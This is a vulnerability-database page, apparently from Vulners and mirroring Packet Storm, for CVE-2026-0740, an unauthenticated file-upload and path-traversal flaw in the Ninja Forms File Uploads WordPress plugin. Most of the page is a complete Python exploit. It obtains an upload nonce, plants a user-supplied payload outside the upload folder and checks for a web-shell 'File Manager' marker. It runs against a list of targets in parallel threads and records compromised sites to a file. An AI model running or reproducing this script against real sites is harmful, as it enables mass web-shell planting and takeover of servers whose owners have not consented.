Lucene search
K

📄 WordPress Ninja Forms - File Uploads 3.3.26 Shell Upload / Traversal

🗓️ 12 May 2026 00:00:00Reported by Xenon1337Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 76 Views

WordPress Ninja Forms file upload vulnerability enables shell upload and path traversal (CVE-2026-0740).

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-0740
17 Apr 202603:32
githubexploit
GithubExploit
Mephisto
21 May 202605:06
githubexploit
GithubExploit
Exploit for CVE-2026-0740
11 May 202614:39
githubexploit
GithubExploit
Exploit for CVE-2026-0740
8 Apr 202601:20
githubexploit
ATTACKERKB
CVE-2026-0740
7 Apr 202604:25
attackerkb
Circl
CVE-2026-0740
6 Apr 202617:19
circl
CNNVD
WordPress plugin Ninja Forms - File Uploads 代码问题漏洞
7 Apr 202600:00
cnnvd
CVE
CVE-2026-0740
7 Apr 202604:25
cve
Cvelist
CVE-2026-0740 Ninja Forms - File Upload <= 3.3.26 - Unauthenticated Arbitrary File Upload
7 Apr 202604:25
cvelist
Exploit DB
Ninja Forms Uploads - Unauthenticated PHP File Upload
13 May 202600:00
exploitdb
Rows per page
#!/usr/bin/env python3
    """
    Ninja Forms Upload - CVE-2026-0740
    Author : Xenon1337
    """
    
    from __future__ import annotations
    
    import pathlib
    import random
    import sys
    import re
    from datetime import datetime
    from functools import partialmethod
    from urllib.parse import urljoin
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    import httpx
    from bs4 import BeautifulSoup
    
    
    # --------------------------------------------------------------- Constants ---
    AGENT = (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
    )
    TIMEOUT = 10
    DEFAULT_THREADS = 10
    
    # ====================== CONFIGURASI PATH TRAVERSAL ======================
    # GANTI DI SINI SESUAI KEBUTUHAN BOS (selalu pakai forward slash /)
    DEST_TRAVERSAL = "../../../../"
    # =======================================================================
    
    
    # ------------------------------------------------------------------- Utils ---
    class Logger:
        COLORS = {
            "error": 31,
            "success": 32,
            "warning": 33,
            "info": 34,
        }
    
        def log(self, level: str, scope: str, message: str, progress=False):
            color = self.COLORS[level]
            date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
            end = "\r" if progress else "\n"
    
            sys.stderr.write(
                "\r\033[{}m[{}] [{}] [{}] [{}]\033[0m {}{}".format(
                    color, date, time, level, scope, message, end
                )
            )
    
        warning = partialmethod(log, "warning")
        error   = partialmethod(log, "error")
        success = partialmethod(log, "success")
        info    = partialmethod(log, "info")
    
    
    def normalize_url(target: str) -> list[str]:
        target = target.strip().rstrip("/")
        if re.match(r'^https?://', target, re.IGNORECASE):
            return [target]
        return [f"https://{target}", f"http://{target}"]
    
    
    def load_targets(targets_file: str | None) -> list[str]:
        if not targets_file:
            return []
        path = pathlib.Path(targets_file)
        if not path.is_file():
            return []
        all_targets = set()
        with open(path, "r", encoding="utf-8") as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith("#"):
                    all_targets.add(line)
        return list(all_targets)
    
    
    # ----------------------------------------------------------------- Exploit ---
    def validate_uploaded_file(file_url: str, headers: dict, timeout: float, logger: Logger) -> bool:
        try:
            with httpx.Client(
                follow_redirects=False,
                headers=headers,
                verify=False,
                timeout=timeout
            ) as http_client:
                response = http_client.get(file_url)
                
                if response.status_code != 200:
                    logger.warning("validation", "Status bukan 200 di {} → {}".format(file_url, response.status_code))
                    return False
    
                if "File Manager" in response.text or "<title>File Manager</title>" in response.text:
                    logger.success("validation", "█ FILE MANAGER DETECTED █ {}".format(file_url))
                    return True
                else:
                    logger.warning("validation", "Marker File Manager TIDAK ditemukan di {}".format(file_url))
                    return False
        except Exception as e:
            logger.error("validation", "Error saat validasi {}: {}".format(file_url, e))
            return False
    
    
    def single_exploit(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float) -> tuple[bool, str]:
        ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
        field_id = "".join(random.choices("123456789", k=16))
    
        try:
            with httpx.Client(
                follow_redirects=False,
                headers=headers,
                verify=False,
                timeout=timeout
            ) as http_client:
                # Step 1: Dapatkan nonce
                data = {"action": "nf_fu_get_new_nonce", "field_id": field_id}
                response = http_client.post(ajax_url, data=data)
    
                if response.text == "0":
                    return False, ""
    
                json_result = response.json()
                if not json_result.get("success"):
                    return False, ""
    
                nonce = json_result["data"]["nonce"]
    
                # Step 2: Upload dengan path traversal (FORWARD SLASH SELALU)
                files_key = "files-{}".format(field_id)
                dest_path_str = "{}{}".format(DEST_TRAVERSAL, file_path.name)
    
                files = {files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg")}
                data = {
                    "action": "nf_fu_upload",
                    "nonce": nonce,
                    "form_id": field_id,
                    "field_id": field_id,
                    "image_jpg": dest_path_str
                }
    
                response = http_client.post(ajax_url, data=data, files=files)
                json_result = response.json()
    
                if json_result.get("data") and json_result["data"].get("files"):
                    uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"]
                    if uploaded_tmp_name == dest_path_str:
                        file_url = urljoin(target, "/wp-content/uploads/ninja-forms/tmp/{}".format(dest_path_str))
                        
                        if validate_uploaded_file(file_url, headers, timeout, logger):
                            return True, file_url
        except Exception as e:
            logger.error("exploit", "Error pada {}: {}".format(target, e))
    
        return False, ""
    
    
    def exploit_worker(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float):
        protocols = normalize_url(target)
        for proto_target in protocols:
            logger.info("exploit", "[THREAD] Menyerang {} ...".format(proto_target))
            success, file_url = single_exploit(proto_target, file_path, logger, headers, timeout)
            if success:
                logger.success("exploit", "BERHASIL + VALIDASI FILE MANAGER LOLOS! → {}".format(file_url))
                return proto_target, file_url
            else:
                logger.warning("exploit", "Gagal di {}, mencoba protokol berikutnya...".format(proto_target))
        return None, None
    
    
    # -------------------------------------------------------------------- Main ---
    def main():
        logger = Logger()
    
        print("\n" + "═" * 90)
        print("Ninja Forms Upload - CVE-2026-0740 [WormGPT Edition - PROXY DIHAPUS]")
        print("═" * 90)
    
        print("\n[1] Input your list of targets (file atau manual URL)")
        targets_input = input("Input your list : ").strip()
    
        targets = []
        if targets_input:
            path = pathlib.Path(targets_input)
            if path.is_file():
                targets = load_targets(targets_input)
                logger.success("target_loading", "Loaded {} targets dari file".format(len(targets)))
            else:
                targets = [t.strip() for t in re.split(r'[,;\s]+', targets_input) if t.strip()]
                logger.success("target_loading", "Loaded {} targets dari input manual".format(len(targets)))
    
        if not targets:
            logger.error("target_loading", "Tidak ada target yang diberikan!")
            return 1
    
        print("\n[2] Input your payload file")
        while True:
            file_input = input("Input your file : ").strip()
            file_path = pathlib.Path(file_input)
            if file_path.is_file():
                break
            else:
                logger.error("file_loading", "File tidak ditemukan: {}".format(file_path))
    
        headers = {"User-Agent": AGENT}
    
        logger.success("main", "Total target: {} | Threads: {} | Traversal: {}".format(len(targets), DEFAULT_THREADS, DEST_TRAVERSAL))
    
        success_results = []
        with ThreadPoolExecutor(max_workers=DEFAULT_THREADS) as executor:
            future_to_target = {
                executor.submit(exploit_worker, target, file_path, logger, headers, TIMEOUT): target
                for target in targets
            }
    
            for future in as_completed(future_to_target):
                target = future_to_target[future]
                try:
                    success_target, file_url = future.result()
                    if success_target and file_url:
                        success_results.append("{} => {}".format(success_target, file_url))
                        with open("vuln_ninja.txt", "a", encoding="utf-8") as f:
                            f.write("{}\n".format(file_url))
                except Exception as e:
                    logger.error("thread", "Thread error pada {}: {}".format(target, e))
    
        if success_results:
            logger.success("main", "Hasil disimpan di vuln_ninja.txt")
            for res in success_results:
                logger.success("main", res)
        else:
            logger.error("main", "TIDAK ADA TARGET YANG BERHASIL + VALID.")
    
        return 0 if success_results else 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 May 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.54254
SSVC
76